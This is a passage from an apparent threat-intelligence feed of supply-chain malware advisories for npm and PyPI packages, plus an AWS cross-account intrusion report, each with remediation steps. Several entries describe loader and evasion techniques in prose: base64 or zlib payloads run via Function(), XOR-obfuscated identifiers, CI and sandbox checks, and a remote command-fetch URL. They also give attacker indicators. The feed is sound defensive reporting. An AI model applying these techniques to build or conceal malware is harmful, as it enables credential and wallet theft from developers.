(npm) 1.0.1 — malicious package executes hidden payload that hunts credential, wallet and .env files https://helix.ml/threat-watch/i/mock-data-sdk-npm-1-0-1-malicious-package-executes-hidden-payload-that-hunts-credential-wallet-and-env-files · Supply chain · no-fix-needed · since 2026-11-11 The npm package mock-data-sdk, advertised as a mock-data generator, contains malicious code in version 1.0.1. Its entrypoint concatenates base64-encoded payloads hidden in the mark fields of data/products_*.js files, decodes them and executes via the Function() constructor, with identifiers like 'Buffer', 'require' and 'process' reconstructed at runtime from an XOR-obfuscated table to evade string-based scanners. The exported getTransactions() API triggers execution on every call. The decoded payload loads python-shell and https, writes a Python script to /tmp/targets, and recursively walks the filesystem for files named with 'password', 'wallet', 'seed', 'privatekey' or '.env', enabling credential and wallet theft. Flagged by Amazon Inspector and credited to OpenSSF's malicious-packages database. No patched version exists; the package must be removed. Do: Remove mock-data-sdk from all projects and lockfiles immediately; do not use any version; Rotate any credentials, API keys, wallet seeds or private keys stored on machines where the package was installed or getTransactions() was called; Audit hosts for /tmp/targets and signs of filesystem enumeration or exfiltration over https; Check CI/CD pipelines and dependency caches for the package and rebuild from clean environments; Block the package name in internal registries and add it to dependency-scanning denylists ### [critical] strutil-helpers-core (npm): malicious load-time dropper with sandbox evasion executes attacker code on require https://helix.ml/threat-watch/i/strutil-helpers-core-npm-malicious-load-time-dropper-with-sandbox-evasion-executes-attacker-code-on-require · Supply chain · no-fix-needed · since 2026-11-11 The npm package strutil-helpers-core, advertised as lightweight string utilities (trim/capitalize/truncate), is malicious. Versions 1.0.1–1.0.5 ship undeclared native addons (Linux ELF and Windows PE .node files) plus a 3.7MB opaque .napi_cache blob. On require(), index.js silently loads the platform addon, which decrypts JavaScript staged to hidden /tmp paths (/tmp/.%u, %s.nc%lu.js) and executes it under node via fork/execlp on Linux or CreateProcessA on Windows. Before firing, it checks CI/sandbox indicators (GITHUB_ACTIONS, JENKINS_URL, etc.), container markers via /proc, and debugger/analysis-tool presence on Windows, evading analysis. This is a load-time dropper running attacker-controlled code on any host that installs and requires the package. No patched versions exist; the package should be removed entirely. Do: Remove strutil-helpers-core from all dependency trees and lockfiles immediately; do not use any version; Audit hosts and CI runners that installed or required the package for staged files matching /tmp/. and *.nc*.js patterns and for post-install persistence; Rotate credentials, tokens, and secrets accessible from affected build machines and developer hosts; Check npm audit / lockfile history to identify when the package was introduced and what else may have run in those environments; Block the package name in internal registries and dependency firewall policies ### [critical] teahy-znrpz-util (npm): malicious package executes zlib-obfuscated payload via Function() on require, skipping CI environments https://helix.ml/threat-watch/i/teahy-znrpz-util-npm-malicious-package-executes-zlib-obfuscated-payload-via-function-on-require-skipping-ci-environments · Supply chain · no-fix-needed · since 2026-11-11 GitHub Advisory Database (GHSA-53gf-4wh9-g7vw, credited to OpenSSF/amazon-inspector) flags the npm package teahy-znrpz-util version 1.0.0 as malicious code (CWE-506). On module load, index.js reads a numeric byte array hidden under a non-standard _bz key in package.json, decompresses it with zlib.inflateSync, and executes the resulting string via the Function constructor with require and __dirname bound in. Execution is gated by an early return when CI, GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, or SANDBOX environment variables are set, so the payload only runs on real developer or production hosts with full Node privileges. No patched version exists; the package has no legitimate use. Anyone who installed or required teahy-znrpz-util@1.0.0 outside CI is affected. Do: Remove teahy-znrpz-util@1.0.0 from all dependency trees and lockfiles immediately; Treat any host where the package was required outside CI as compromised: rotate credentials, tokens, and keys accessible to Node processes; Audit install/require history and CI logs for the package name and _bz manifest key; Block the package name in npm registry proxies and internal artifact repositories; Scan developer and production machines for indicators of the obfuscated-loader pattern (zlib.inflateSync + Function constructor on package.json data) ### [critical] aurum-pay PyPI malware: remote code execution via hidden command execution on first SDK call https://helix.ml/threat-watch/i/aurum-pay-pypi-malware-remote-code-execution-via-hidden-command-execution-on-first-sdk-call · Supply chain · no-fix-needed · since 2026-11-11 The PyPI package aurum-pay version 1.2.0 contains malicious code flagged by GitHub Advisory Database (GHSA-3rfx-vc65-vf5v), Amazon Inspector, and OpenSSF. On the first SDK API call, _boot_once() fetches a command from https://aurum-casino.com/sdk/ping and executes it via bash (Linux/macOS) or hidden PowerShell (Windows), disguised as telemetry. The payload downloads and executes a next-stage binary (Linux) or an obfuscated Python environment (Windows), establishes persistence, and enables remote control and arbitrary command execution. Anyone who installed and used aurum-pay 1.2.0 is compromised. No patched version exists; the package is classified as malware (CWE-506). Do: Immediately remove aurum-pay from all environments and dependencies; Treat any machine that imported or used the package as compromised: isolate, reimage, and rotate all credentials and secrets accessible from it; Hunt for persistence mechanisms and unexpected binaries or Python environments on affected hosts; Block network access to aurum-casino.com; Audit dependency lockfiles and CI caches for traces of aurum-pay 1.2.0 ### [critical] npm typosquat malware wave: redis-type-xyz, ioredis-xyz, express-helmet, helmify — full machine compromise on install https://helix.ml/threat-watch/i/npm-typosquat-malware-wave-redis-type-xyz-ioredis-xyz-express-helmet-helmify-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-11 GitHub published four malware advisories on 2026-11-11 for npm packages redis-type-xyz (GHSA-vx4h-jq4c-3vg2), ioredis-xyz (GHSA-5r2x-xv5p-58vg), express-helmet (GHSA-w7c4-444m-w3r7, ~185 downloads/month) and helmify (GHSA-6hfj-gc9f-mprr, ~168 downloads/month). All versions (>=0) are flagged as embedded malicious code (CWE-506) with no patched versions and no known source code; the names mimic legitimate packages (redis, ioredis, helmet, helmify), indicating a typosquatting campaign. GitHub states any machine with these packages installed or running should be considered fully compromised, implying credential and secret theft with attacker control. Removal of the package does not guarantee removal of the malicious software. Do: Check lockfiles and installed node_modules for redis-type-xyz, ioredis-xyz, express-helmet and helmify; remove them and rebuild from clean sources; Treat affected machines as fully compromised: rotate all secrets, keys, tokens and credentials stored or accessible on them, from a clean machine; Audit CI/CD runners and developer workstations that may have installed these packages for persistence and exfiltration; Verify dependencies resolve to the legitimate packages (redis, ioredis, helmet, helmify) and pin trusted versions; Review npm install logs and access logs for signs of execution or outbound connections ### [critical] oracle-redis npm package is malware — full host compromise, no safe version https://helix.ml/threat-watch/i/oracle-redis-npm-package-is-malware-full-host-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-h224-x97c-j5g7) for the npm package oracle-redis, flagged as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists, so any installation should be treated as a full compromise of the host. The advisory warns that attackers may have gained complete control of affected machines, meaning removal of the package does not guarantee removal of all malicious software. All secrets and keys stored on compromised computers should be rotated from a clean machine. Reach appears limited (~261 downloads/month), but any environment that installed the package is assumed compromised. Do: Remove oracle-redis from all projects and lockfiles and block it in dependency policies; Treat every machine that ran it as fully compromised: rebuild/reimage hosts; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Audit logs and network traffic for signs of attacker access or exfiltration; Scan for persistence mechanisms and additional malware left behind ### [critical] Malicious npm package 'shraps' — full system compromise via embedded malware; no safe version exists https://helix.ml/threat-watch/i/malicious-npm-package-shraps-full-system-compromise-via-embedded-malware-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-11 GitHub's malware advisory database published GHSA-qpr9-cqf6-8m73 on 2026-11-11 flagging the npm package 'shraps' as containing embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. The advisory warns that any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and that removing the package does not guarantee removal of all malicious software. The package sees roughly 14 downloads per month, limiting reach, but any installation is treated as a compromise. There is no fix; remediation is limited to removal and incident response. Do: Rotate all secrets and keys stored on any machine where shraps was installed, using a different, clean computer; Remove the shraps package from all systems and dependencies; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit dependency lockfiles and CI environments for shraps usage; Block/flag shraps in internal registries and dependency scanning ### [critical] @tomhundley npm packages (mypackagetest, condux, sparkdash, grafene): malware — full machine compromise; rotate all secrets https://helix.ml/threat-watch/i/tomhundley-npm-packages-mypackagetest-condux-sparkdash-grafene-malware-full-machine-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-11 On 2026-11-11 GitHub published four malware advisories (GHSA-gfh2-8j8w-933m, GHSA-jgmp-2vff-26jw, GHSA-gpvw-6mq7-2h5w, GHSA-65fw-m4q2-8ffh) covering every published version of four npm packages under the @tomhundley scope: mypackagetest, condux, sparkdash and grafene. All are classified CWE-506 embedded malicious code with no patched versions; GitHub states any machine with the packages installed or running should be considered fully compromised, implying attacker control of the host and access to stored secrets and keys. Reach appears small (grafene ~18 downloads/month), but any consumer is affected. No fix exists — removal of the packages does not guarantee removal of the malicious software. Do: Immediately remove all @tomhundley/* packages from every machine and CI environment; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage compromised hosts; audit for persistence and follow-on malware; Audit dependency lockfiles and block the @tomhundley npm scope; Review npm/CI logs for signs of exfiltration or unauthorized access ### [critical] npm malware wave: cronbits, taskpace, csvbits, jsonrail — malicious packages fully compromise installed machines (no CVE) https://helix.ml/threat-watch/i/npm-malware-wave-cronbits-taskpace-csvbits-jsonrail-malicious-packages-fully-compromise-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub's advisory database published four malware advisories on 2026-11-11 for npm packages cronbits (GHSA-8mrh-r693-wrfq), taskpace (GHSA-73wm-q362-6xp2), csvbits (GHSA-78j2-8cm9-6g34) and jsonrail (GHSA-qv92-rmvf-gfmp). All versions (>= 0) are affected, with no patched versions and no known source code, indicating likely typosquat or malicious-publish campaigns. GitHub states any computer with these packages installed or running should be considered fully compromised, with attacker control of the machine and exposure of stored secrets and keys. Removal of the package does not guarantee removal of all malicious software. No CVEs are assigned; exploitation is presumed wherever the packages were installed. Do: Check lockfiles and node_modules for cronbits, taskpace, csvbits and jsonrail; remove them from all machines and CI runners; Rotate all secrets, API keys, SSH keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or reimage affected machines rather than trusting package removal; audit for persistence mechanisms; Review npm install logs and CI history to determine exposure window and whether credentials were exfiltrated; Block these package names in internal registries and enable npm provenance/allow-list controls ### [critical] Malicious npm package flowbits — full compromise of installed systems (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-flowbits-full-compromise-of-installed-systems-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-q97r-6qp3-r59x) for the npm package flowbits on 2026-11-11. Every version (>= 0) is classified as embedded malicious code with no patched version available. Per the advisory, any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software it deployed. All secrets and keys on affected machines are at risk and must be rotated. Any developer, CI pipeline, or end user that installed flowbits from npm is affected. There is no fix — the only remediation is removal plus full incident response on affected hosts. Do: Treat any machine with flowbits installed as fully compromised; isolate and forensically review it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the flowbits package from dependencies, lockfiles, and caches; block it in your registry/proxy; Rebuild affected systems from trusted images where feasible; audit for persistence and follow-on malware; Check CI/CD and developer workstations for the package and review what those environments could access ### [critical] Malicious npm package ioredis-om-typed — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-ioredis-om-typed-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub's advisory database published a malware advisory (GHSA-66fx-r7cm-jxv6) for the npm package ioredis-om-typed, flagged as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists — the package itself is the attack. Any machine with the package installed or running should be treated as fully compromised, with the attacker potentially holding full control and access to secrets, keys, and credentials on that machine. Removal of the package does not guarantee removal of any malicious software it may have deployed. All developers and CI systems that installed the package are affected; there is no fix other than removal plus full incident response. Do: Rotate all secrets, keys, and credentials stored on or accessible from affected machines immediately, using a clean machine; Remove ioredis-om-typed from all projects, lockfiles, and CI caches; Rebuild affected machines/containers from trusted images; investigate for persistence and deployed malware; Audit logs and network egress for signs of attacker access; Block the package in npm/registry policy and dependency scanning ### [critical] cal-time-stamper npm package is malware — full machine compromise for any installer https://helix.ml/threat-watch/i/cal-time-stamper-npm-package-is-malware-full-machine-compromise-for-any-installer · Supply chain · no-fix-needed · since 2026-11-11 GitHub published advisory GHSA-5xh5-qp4j-xjfx on 2026-11-11 flagging the npm package cal-time-stamper as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and there are no patched versions; the package has no known source code and gets roughly 10 downloads per month. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the code hands control to an outside entity, enabling secret and key theft. Removal of the package alone is not guaranteed to remove all malicious software it installed. Any developer or CI environment that installed it is affected; remediation requires machine-level cleanup and credential rotation, not just uninstalling the package. Do: Treat any machine where cal-time-stamper was installed or run as fully compromised; rebuild from clean images where possible; Rotate all secrets, keys, tokens and credentials stored on affected machines immediately, from a different, clean computer; Remove the package from all projects, lockfiles and CI pipelines and block/audit for it in dependency checks; Hunt for persistence and follow-on malicious software on affected hosts; review access and network logs for exfiltration ### [critical] correct-calc (npm): malicious package fully compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/correct-calc-npm-malicious-package-fully-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-fvf5-h3m3-g793) for the npm package correct-calc, flagged as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying full control may have been handed to an outside actor; removing the package does not guarantee removal of all malicious software. Reach appears limited (~19 downloads/month), but any installation is treated as a compromise. Remediation requires removing the package and rotating all secrets and keys from a clean machine. Do: Treat any machine with correct-calc installed as fully compromised; rebuild from a clean image; Rotate all secrets, keys, and credentials stored on affected machines, from a different computer; Remove the package and audit for persistence and follow-on malware; Audit dependency trees and CI systems for correct-calc and block/flag it in package registries and proxies ### [critical] 0sec-cli (npm): malicious package compromises machines that install it — rotate all secrets https://helix.ml/threat-watch/i/0sec-cli-npm-malicious-package-compromises-machines-that-install-it-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-9j97-6pqr-qvrx) for the npm package 0sec-cli, flagging version 0.28.10 as containing embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. All secrets and keys stored on affected machines should be treated as stolen. No patched version exists and no source code is known; the advisory recommends removal of the package while warning that removal may not eliminate all malicious software. The package shows ~1,068 monthly downloads and 605 GitHub stars, so some real-world exposure is plausible, though no specific victim organisations are named. Do: Treat any machine with 0sec-cli installed as fully compromised; rotate all secrets and keys from a clean machine immediately; Remove the package and rebuild/reimage affected systems rather than trusting cleanup; Audit dependency lockfiles and CI environments for 0sec-cli and block it in registries/proxies; Review access logs and credentials (cloud keys, tokens, SSH) for signs of exfiltration ### [critical] xsdsh-purge-next (npm): malicious package compromises any machine where it is installed https://helix.ml/threat-watch/i/xsdsh-purge-next-npm-malicious-package-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-11 GitHub's advisory database published GHSA-qpc3-24mv-6qrp on 2026-11-11 flagging the npm package xsdsh-purge-next version 1.0.0 as embedded malware (CWE-506). The advisory states that any computer with the package installed or running should be considered fully compromised, implying the malicious code grants an outside entity full control of the host. All secrets and keys on affected machines should be treated as stolen. There are no patched versions and no known legitimate source code; the package (~190 downloads/month) should be removed, though removal cannot guarantee the malware is fully eradicated. No specific campaign name, actor, or attack date is given. Do: Treat any machine where xsdsh-purge-next@1.0.0 was installed as fully compromised; rotate all secrets and keys from a clean machine immediately; Remove the package and rebuild/reimage affected systems rather than trusting cleanup; Audit CI/CD and developer machines for the package and review logs for post-install activity; Block xsdsh-purge-next in dependency allowlists and check lockfiles for transitive references ### [critical] humbility-shared PyPI malware: install-time host data exfiltration (no CVE) https://helix.ml/threat-watch/i/humbility-shared-pypi-malware-install-time-host-data-exfiltration-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub advisory GHSA-79v2-94f6-j483 (published 2026-11-11, credited to OpenSSF/kam193) flags the PyPI package humbility-shared as malicious. Versions 0.0.1 and 0.0.2 override the install command in setup.py to execute code during installation, and installing the package or importing the module exfiltrates basic host information such as IP address and username; the package has no other legitimate purpose. It is classified under the PROBABLY_PENTEST category and the GENERIC-standard-pypi-install-pentest campaign, with limited risk but critical severity. No patched versions exist and no in-the-wild exploitation is documented. Anyone who installed or imported the package should treat the host as potentially compromised and remove the package. Do: Remove humbility-shared from all environments and dependency trees; Audit hosts and CI systems where it was installed or imported for signs of data exfiltration (IP, username); Rotate credentials accessible from affected hosts; Block the package name in internal PyPI mirrors and dependency scanning; Review dependency lockfiles and pip install logs for historical use ### [critical] termchalk (npm): malicious package fully compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/termchalk-npm-malicious-package-fully-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-11 GitHub's malware advisory database published GHSA-727x-2mvh-8r5c on 2026-11-11 flagging the npm package termchalk as embedded malicious code (CWE-506). All versions (>=0) are affected and no patched version exists, so any installation is considered a full compromise with possible outside control of the machine. The advisory instructs that all secrets and keys on affected computers be rotated immediately from a different, clean machine, and warns that removing the package does not guarantee removal of all malicious software it installed. The package sees roughly 314 downloads per month. There is no fix; the only remediation is removal plus full incident response on any machine where it ran. Do: Treat any machine with termchalk installed or run as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove termchalk and rebuild/reimage affected systems; do not assume removal cleans the machine; Audit for persistence and lateral movement from affected hosts; Block termchalk in npm registries, lockfiles, and CI pipelines ### [critical] chalks-log (npm): malicious logging package fully compromises machines that install it (no CVE) https://helix.ml/threat-watch/i/chalks-log-npm-malicious-logging-package-fully-compromises-machines-that-install-it-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub's malware advisory database published GHSA-cm5x-2764-c8p9 on 2026-11-11 flagging the npm package chalks-log as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, meaning the attacker may have obtained full control, including access to secrets and keys. The package has low reach (~216 downloads/month) despite a claimed 23K GitHub stars, suggesting a typosquat or impersonation of a popular logging library. Removal of the package does not guarantee removal of all malicious software it installed. No fix is available; remediation is removal plus credential rotation. Do: Remove chalks-log from all projects and machines immediately; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild/reimage compromised machines; do not assume package removal removes the malware; Audit dependency trees and lockfiles for chalks-log and block it in CI/registry policy; Review logs and network traffic for signs of exfiltration or attacker access ### [critical] kbmathlessons npm package is malware — full machine compromise, no safe version https://helix.ml/threat-watch/i/kbmathlessons-npm-package-is-malware-full-machine-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-11 GitHub's advisory database published a malware advisory (GHSA-8cvx-wq76-pcwg, CWE-506 Embedded Malicious Code) for the npm package kbmathlessons. Every version (>= 0) is affected and there are no patched versions — the package itself is malicious, so no fix exists. GitHub states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, including access to secrets, keys, and credentials stored on the machine. Removal of the package does not guarantee removal of any malicious software it may have installed. All developers or CI systems that installed kbmathlessons are affected; the advisory was published and reviewed on 2026-11-11. Do: Rotate all secrets, keys, tokens, and credentials stored on any machine where kbmathlessons was installed, using a different, clean computer; Rebuild or wipe affected machines and CI runners rather than just uninstalling the package; Audit systems for signs of compromise and persistence mechanisms left by the malware; Check dependency trees and lockfiles for kbmathlessons and block/reject the package in future installs ### [critical] prettlog (npm): malicious package fully compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/prettlog-npm-malicious-package-fully-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-7m86-chx9-8rr7) for the npm package prettlog on 2026-11-11. Every version (>= 0) contains embedded malicious code (CWE-506) and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying full control may have been handed to an outside entity, with theft of secrets and keys. Removal of the package does not guarantee removal of all malicious software it installed. Any developer, CI system, or end user who installed prettlog is affected; there is no safe version to upgrade to. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where prettlog was installed, using a clean computer; Remove prettlog from all projects, lockfiles and CI pipelines and rebuild affected environments from trusted images; Reimage or rebuild compromised machines; do not assume uninstalling the package removes the malware; Audit npm dependencies and lockfiles for prettlog and block/review installs of the package ### [critical] @solana-trade/core npm package is malware — full machine compromise, rotate all secrets and keys https://helix.ml/threat-watch/i/solana-trade-core-npm-package-is-malware-full-machine-compromise-rotate-all-secrets-and-keys · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-rq54-jmqc-j8qj) for the npm package @solana-trade/core on 2026-11-11. The package contains embedded malicious code (CWE-506) and every published version (>= 0) is affected, with no patched version available. GitHub warns that any computer with the package installed or running should be considered fully compromised, implying the attacker may have full control of the machine, so removal of the package alone cannot be assumed to remove all malicious software. Anyone who installed this package — particularly developers in the Solana/crypto ecosystem, where key material is commonly stored — is affected. There is no fix; the only remediation is removal plus full secret rotation and host rebuild from a clean machine. Do: Stop using and uninstall @solana-trade/core immediately; treat all affected machines as fully compromised; Rotate all secrets, API tokens, SSH keys, and crypto/wallet keys from a clean, uncompromised computer; Rebuild/reimage affected machines and audit for persistence mechanisms before returning them to service; Review CI/CD systems and build environments that may have installed the package for stolen credentials; Block the package in dependency policies and audit lockfiles and dependency caches for it ### [critical] Malicious npm package nj-logger — full host compromise; no safe version exists https://helix.ml/threat-watch/i/malicious-npm-package-nj-logger-full-host-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-11 GitHub published advisory GHSA-6q28-3q3p-8x7c on 2026-11-11 flagging the npm package nj-logger as malware (CWE-506, embedded malicious code). Every published version (>=0) is affected and no patched version exists, so any installation is considered a compromise rather than a vulnerability. The advisory states that any computer with the package installed or running should be treated as fully compromised, implying the code grants an outside party full control of the host, enabling theft of secrets, keys and credentials and persistence beyond simple package removal. Reach appears limited (~1540 downloads/month), but any dependent project or developer machine that installed it is exposed. There is no fix; remediation is removal plus host-level incident response. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where nj-logger was installed, using a clean machine; Treat affected hosts as compromised: rebuild/reimage them and audit for persistence, backdoors and attacker access; Remove nj-logger from all projects, lockfiles and CI pipelines and block it in dependency policies; Audit logs and network egress for signs of exfiltration or command-and-control since installation; Check dependency trees and internal registries for other uses of the package before rebuilding ### [critical] rex-react-diag-tools-v1 (npm): malicious package compromises any machine where it is installed (no CVE) https://helix.ml/threat-watch/i/rex-react-diag-tools-v1-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub's malware advisory database published GHSA-w3r9-3pw6-qg6q on 2026-11-11 flagging the npm package rex-react-diag-tools-v1 as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists, so the package must be treated as malware rather than a vulnerable dependency. Any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software it deployed. Reach appears limited (~292 downloads/month). No CVE is assigned. Remediation requires removal of the package plus full incident response, as no fix will be issued. Do: Rotate all secrets and keys stored on any machine where the package was installed, using a different, clean computer; Remove rex-react-diag-tools-v1 from all projects and lockfiles and block it in dependency policies; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit systems for signs of compromise and review access logs and credentials used on affected hosts ### [critical] pt-logger-telemetry-eax0x1 (npm): malicious package fully compromises machines that install it https://helix.ml/threat-watch/i/pt-logger-telemetry-eax0x1-npm-malicious-package-fully-compromises-machines-that-install-it · Supply chain · no-fix-needed · since 2026-11-11 GitHub's advisory database published a malware advisory for the npm package pt-logger-telemetry-eax0x1 on 2026-11-11. The package is classified as embedded malicious code (CWE-506) with all versions (>= 0) affected and no patched versions available. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the host. There is no indication of a legitimate upstream project being compromised; this appears to be a typosquat-style or otherwise malicious package published to npm. Anyone who installed it should treat secrets and keys on the affected machine as stolen and rotate them from a clean machine. Removal of the package alone is not guaranteed to eliminate the malicious software. Do: Immediately remove pt-logger-telemetry-eax0x1 from all systems and CI pipelines; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, using a clean computer; Rebuild affected machines from trusted images; do not assume package removal fully cleans the system; Audit dependency lockfiles and npm install logs for the package and check for other unexpected dependencies; Block the package name in internal registries and enable npm provenance/allowlist controls ### [critical] Malicious npm packages: @fadelsm/libsignal-node and @fadelsm/baileys — typosquat malware compromises hosts (no CVE) https://helix.ml/threat-watch/i/malicious-npm-packages-fadelsm-libsignal-node-and-fadelsm-baileys-typosquat-malware-compromises-hosts-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub's advisory database published two malware advisories on 2026-11-11 covering npm packages @fadelsm/libsignal-node and @fadelsm/baileys, both classified CWE-506 (embedded malicious code) with critical severity. Every version (>= 0) is affected and no patched versions exist. The packages appear to be typosquats of the legitimate libsignal and Baileys (WhatsApp) libraries. Any machine with the packages installed or running must be considered fully compromised, with full control potentially handed to an outside entity; removing the package does not guarantee removal of the malicious software. Downloads are low (~46/month for libsignal-node), limiting reach, but any installer is a victim. There is no fix — the packages must be removed and all secrets on affected hosts rotated from a clean machine. Do: Immediately uninstall @fadelsm/libsignal-node and @fadelsm/baileys from all projects and machines; Treat affected machines as fully compromised: rebuild/reimage them; Rotate all secrets, keys, and credentials stored on affected machines from a different, clean computer; Audit dependency lockfiles and CI caches for the packages and block them in registry allowlists; Review logs for signs of attacker access or exfiltration after installation ### [critical] Malicious npm package yummy-bolts — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-yummy-bolts-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-11 GitHub published a malware advisory (GHSA-v9xg-mgjf-74xm) for the npm package yummy-bolts, flagging versions 1.0.0 through 1.4.0 as containing embedded malicious code (CWE-506). No patched versions exist; the package has no known source code. Any machine where the package was installed or executed should be considered fully compromised, with attacker access to secrets and keys. The package is low-volume (~12 downloads/month, 1 dependent repository), limiting reach, but every installation is treated as a successful compromise. Removal of the package does not guarantee removal of the malicious software it deployed. Remediation requires secret rotation from a clean machine and full incident response on affected hosts. Do: Rotate all secrets, keys, and credentials stored on any machine where yummy-bolts was installed, using a clean computer; Remove the package and rebuild/reimage affected machines; do not assume removal cleans the system; Audit dependency trees and lockfiles for yummy-bolts versions 1.0.0–1.4.0 and block the package; Review CI/CD and developer environments for signs of compromise and unexpected outbound connections ### [high] Qubole: attacker used vendor AWS credentials to assume customer roles and exfiltrate S3 data https://helix.ml/threat-watch/i/qubole-cross-account-trust-abuse-threat-actor-used-vendor-aws-iam-credentials-to-assume-customer-roles-enumerate-harvest · Supply chain · no-fix-needed · since 2026-11-09 Wiz CIRT, working with Sentra and Mandiant, reports that between 14 and 26 October 2026 a threat actor used IAM credentials from an AWS account that Qubole's platform uses (805246085872) to assume integration roles that customers had created to trust Qubole, presenting valid External IDs. Every role assumption the post attributes to the actor succeeded, and in most affected environments it was the only vendor-account activity that month, so the trust policies were simply still in place. Inside the customer accounts the actor enumerated storage, compute, databases, roles and KMS keys, read Lambda environment variables, Secrets Manager and SSM Parameter Store, checked harvested AWS, Entra ID and Okta credentials with TruffleHog, and downloaded S3 objects, in some cases whole buckets. The post names no vendor fix; the remediation it describes is customer-side: remove or narrow unused trust (a specific principal plus source-IP conditions), rotate External IDs and every credential the roles could read, revoke sessions already issued, and enable S3 data events. The post does not say how many customers were affected, only that there were multiple victim environments. Do: Audit CloudTrail from 1 October 2026 for sts:AssumeRole where the caller account is 805246085872 and the source IP is not an AWS address; also review AssumeRole calls by IAM users AIDA3W7DIFLYOLTK63SFS and AIDAJYRRH5Y3A7AAJM2HW that come from non-AWS addresses, IPs 45.83.220.211, 185.209.199.73, 57.129.54.120 and 89.37.63.175, and session names prefixed quiam-; Rotate all credentials found in Lambda env vars, Secrets Manager and SSM Parameter Store, and validate Entra ID/Okta service principal secrets; Review S3 data events logs for GetObject/ListObjects exfiltration from integration roles; Remove unused third-party cross-account trust roles; where one is kept, narrow the trusted principal, add aws:SourceIp or aws:SourceVpce conditions, and rotate the External ID per role; Enable S3 server access logs/CloudTrail data events for sensitive buckets, and revoke active sessions for any integration role the actor assumed (rotating a credential does not end sessions already issued) ### [critical] @apexacc/cli npm package is malware — full machine compromise on install https://helix.ml/threat-watch/i/apexacc-cli-npm-package-is-malware-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database has flagged the npm package @apexacc/cli as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists — the package itself is the attack. GitHub warns that any computer where the package is installed or running should be considered fully compromised, with the attacker potentially holding full remote control. The package shows ~9,090 downloads per month and 17 GitHub stars, so real-world exposure is plausible. Removal of the package does not guarantee removal of any malicious software it deployed. No CVE is assigned; the advisory was published and reviewed on 2026-11-10. Do: Treat any machine with @apexacc/cli installed as fully compromised; isolate and forensically review it; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Remove the package from all projects, lockfiles and CI pipelines; block it in dependency policy; Rebuild affected systems from trusted images where compromise is suspected; Audit npm dependencies for other suspicious packages before reinstalling ### [critical] baidu-ti (npm): malicious package compromises any machine where it is installed https://helix.ml/threat-watch/i/baidu-ti-npm-malicious-package-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-hwgp-r9x8-49cx) for the npm package baidu-ti, flagged as embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists, so the package should be treated as malicious from the start rather than a compromised legitimate library. GitHub's guidance 